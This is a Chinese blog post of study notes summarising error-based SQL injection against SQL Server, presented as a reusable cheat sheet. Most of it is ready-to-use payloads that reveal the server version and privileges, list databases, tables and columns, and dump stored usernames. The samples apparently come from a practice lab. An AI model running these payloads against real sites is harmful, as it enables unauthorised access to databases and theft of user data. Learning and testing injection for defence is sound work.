【学习笔记】Sqlserver/Mssql注入总结(二)

本文涉及的产品
云数据库 RDS SQL Server,独享型 2核4GB
RDS SQL Server Serverless,2-4RCU 50GB 3个月
推荐场景:
简介: 这是Sqlserver/Mssql注入总结的第二篇,将围绕报错注入进行讲述,有需要的可以考虑收藏保存,当做备忘录使用。

这是Sqlserver/Mssql注入总结的第二篇,将围绕报错注入进行讲述,有需要的可以考虑收藏保存,当做备忘录使用。



利用sys视图进行显错注入(类型原本是数字,输入的内容是字符,转换中失败导致报错)



爆数据库信息:





id=1' and 1=@@VERSION--          //查询sqlserver的版本id=1' and 1=@@SERVERNAME--          //查询sqlserver的主机名id=1' and 1=is_srvrolemember('sysadmin')--         //查询sqlserver注入点的权限是否为sa,可以换成public、dbowner等等判断



爆数据库名:




id=1' and 1=(select db_name(5))--  //查询数据库名,5可以遍历查询
id=1' and 1=(select top 1 name from master..sysdatabases where dbid>4)--     //查询第一个dbid(数据库id)大于4的数据库名,dbid可以遍历查询其他数据库



或者直接不加dbid:


id=1' and 1=(select top 1 name from master..sysdatabases where name<>'test')--     //查询第一个数据库,并且数据库名不等于test,也可以用!=,或者not in()




一次性爆出(sqlserver2005及以上版本适用):




id=1' and 1=(select quotename(name) from master..sysdatabases for xml path(''))--  //直接爆出所有数据库名,用【】括起来
id=1' and 1=(select ' |' %2bname%2b' |' from master..sysdatabases FOR XML PATH(''))--    //直接爆出所有数据库名,用 | 隔开



爆表名:




id=1' and 1=(select top 1 name from 数据库名..sysobjects where xtype='u')--  //爆第一个表名
id=1' and 1=(select top 1 name from 数据库名..sysobjects where xtype='u' and name<> 'test')--  //爆表名,并且表名不等于test,也可以使用!=或者not in()




一次性爆出(sqlserver2005及以上版本适用):




id=1' and 1=(select quotename(name) from 数据库名..sysobjects where xtype='U' for xml path(''))--  //爆出指定数据库的所有表,用【】括起来
id=1' and 1=(select '|' %2bname%2b '|' from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))--    //直接爆出所有表名,用 | 隔开



爆列名:



id=1' and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name ='table表名'))--     //爆出xx表的第一个列名id=1' and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name ='table表名')and name<> '列名')--        //爆出xx表的列名,并且列名不等于xx,可以使用!=或者not in()




一次性爆出(sqlserver2005及以上版本适用):




id=1' and 1=(select quotename (name) from 数据库名..syscolumns where id=(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))--    //直接爆出xx数据库,xx表的字段,用【】括起来
id=1' and 1=(select ' |' %2bname%2b' |' from 数据库名..syscolumns where id=(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))--    //直接爆出xx数据库,xx表的字段,用 | 隔开





爆数据:




id=1' and 1=(select top 1 username from users)--            //查询users表中username列的第一行数据,
id=1' and 1=(select top 1 username from users where username<>'user1' and username<>'user2')--    //查询usernmae的值,并且不等于user1和user2,也可以使用!=或者not in()




一次性爆出指定列的所有数据(sqlserver2005及以上):




id=1' and 1=(SELECT quotename(列名一%2b'~'%2b列名二) from 数据库..表名 FOR XML PATH(''))--    //直接爆出列名1和列名2的全部内容,格式为[Dumb~Dumb]
id=1' and 1=(select '|' %2b列名一%2b'~'%2b列名二%2b '|' from 数据库..表名 FOR XML PATH(''))--    //直接爆出列名1和列名2的全部内容,格式为|Dumb~Dumb|






利用information_schema视图进行报错注入


爆数据库信息:





id=1' and 1=@@VERSION--          //查询sqlserver的版本id=1' and 1=@@SERVERNAME--          //查询sqlserver的主机名id=1' and 1=is_srvrolemember('sysadmin')--         //查询sqlserver注入点的权限是否为sa,可以换成public、dbowner等等判断


爆数据库名:


id=1' and 1=(select top 1 CATALOG_NAME from INFORMATION_SCHEMA.SCHEMATA)    //只能查到当前数据库名


其他的和sys视图报错语句基本一致




爆表名:




id=1' AND 1 = (SELECT TOP 1 table_name FROM information_schema.tables)--       //查询第一个表名
id=1' AND 1 = (SELECT TOP 1 table_name FROM information_schema.tables WHERE table_name NOT IN('users'))--      //查询表名,并且表名不等于users,可以使用!=或者<>



一次性爆出(sqlserver2005及以上版本适用):




id=1' and 1=(select quotename(table_name) from information_schema.tables for xml path(''))--  //爆出指定数据库的所有表
id=1' and 1=(select '|' %2btable_name%2b '|' from information_schema.tables FOR XML PATH(''))--    //直接爆出所有表名,用 | 隔开


爆列名:




id=1' AND 1 = (SELECT TOP 1 column_name FROM information_schema.columns where table_name='users')       //查询users表的第一个列名
id=1' AND 1 = (SELECT TOP 1 column_name FROM information_schema.columns where table_name='表名' and column_name NOT IN('id'))--         //查询列名,并且列名不等于id




一次性爆出(sqlserver2005及以上版本适用):




id=1' and 1=(select quotename (column_name) from information_schema.columns where table_name='表名' FOR XML PATH(''))--    //直接爆出xx数据库,xx表的字段,用【】括起来
id=1' and 1=(select ' |' %2bcolumn_name%2b' |' from information_schema.columns where table_name='表名' FOR XML PATH(''))--    //直接爆出xx数据库,xx表的字段,用 | 隔开



爆数据:




id=1' and 1=(select top 1 username from users)--            //查询users表中username列的第一行数据
id=1' and 1=(select top 1 username from users where username<>'user1' and username<>'user2')--    //查询usernmae的值,并且不等于user1和user2,也可以使用!=或者not in()




一次性爆出指定列的所有数据(sqlserver2005及以上):




id=1' and 1=(SELECT quotename(列名一%2b'~'%2b列名二) from 数据库名..表名 FOR XML PATH(''))--    //直接爆出列名1和列名2的全部内容,格式为[Dumb~Dumb]
id=1' and 1=(select '|' %2b列名一%2b'~'%2b列名二%2b '|' from 数据库名..表名 FOR XML PATH(''))--    //直接爆出列名1和列名2的全部内容,格式为|Dumb~Dumb|


相关实践学习
使用SQL语句管理索引
本次实验主要介绍如何在RDS-SQLServer数据库中,使用SQL语句管理索引。
SQL Server on Linux入门教程
SQL Server数据库一直只提供Windows下的版本。2016年微软宣布推出可运行在Linux系统下的SQL Server数据库,该版本目前还是早期预览版本。本课程主要介绍SQLServer On Linux的基本知识。 相关的阿里云产品:云数据库RDS&nbsp;SQL Server版 RDS SQL Server不仅拥有高可用架构和任意时间点的数据恢复功能,强力支撑各种企业应用,同时也包含了微软的License费用,减少额外支出。 了解产品详情:&nbsp;https://www.aliyun.com/product/rds/sqlserver
目录
相关文章
|
数据库
【学习笔记】Sqlserver/Mssql注入总结(三)
这是Sqlserver/Mssql注入总结的第三篇,将围绕布尔盲注入和一些特殊字符过滤的绕过进行讲述,有需要的可以考虑收藏保存,当做备忘录使用。
169 0
|
数据库
【学习笔记】Sqlserver/Mssql注入总结(一)
这是Sqlserver/Mssql注入总结的第一篇,将围绕union联合注入进行讲述,内容相对来说,比较中规中矩,有需要的可以考虑收藏保存,当做备忘录使用。
292 0
|
SQL
SQLServer 学习笔记之超详细基础SQL语句 Part 12(The End)
SQLServer 学习笔记之超详细基础SQL语句 Part 12(The End)
46 0
|
SQL Go
SQLServer 学习笔记之超详细基础SQL语句 Part 11
SQLServer 学习笔记之超详细基础SQL语句 Part 11
97 0
|
SQL 存储 Go
SQLServer 学习笔记之超详细基础SQL语句 Part 10
SQLServer 学习笔记之超详细基础SQL语句 Part 10
82 0
|
SQL Go 数据库
SQLServer 学习笔记之超详细基础SQL语句 Part 9
SQLServer 学习笔记之超详细基础SQL语句 Part 9
85 0
|
存储 SQL
SQLServer 学习笔记之超详细基础SQL语句 Part 8
SQLServer 学习笔记之超详细基础SQL语句 Part 8
57 0
|
存储 SQL 数据库
SQLServer 学习笔记之超详细基础SQL语句 Part 7
SQLServer 学习笔记之超详细基础SQL语句 Part 7
93 0
|
9天前
|
SQL IDE Java
Java连接SQL Server数据库的详细操作流程
Java连接SQL Server数据库的详细操作流程
|
23天前
|
SQL 监控 安全
sql server数据库监控
SQL Server数据库监控是收集、聚合和监控SQL服务器的各种指标的过程,旨在维护SQL数据库的运行状况和可用性,优化性能,并预防或快速响应错误。以下是一些关于SQL Server数据库监控的核心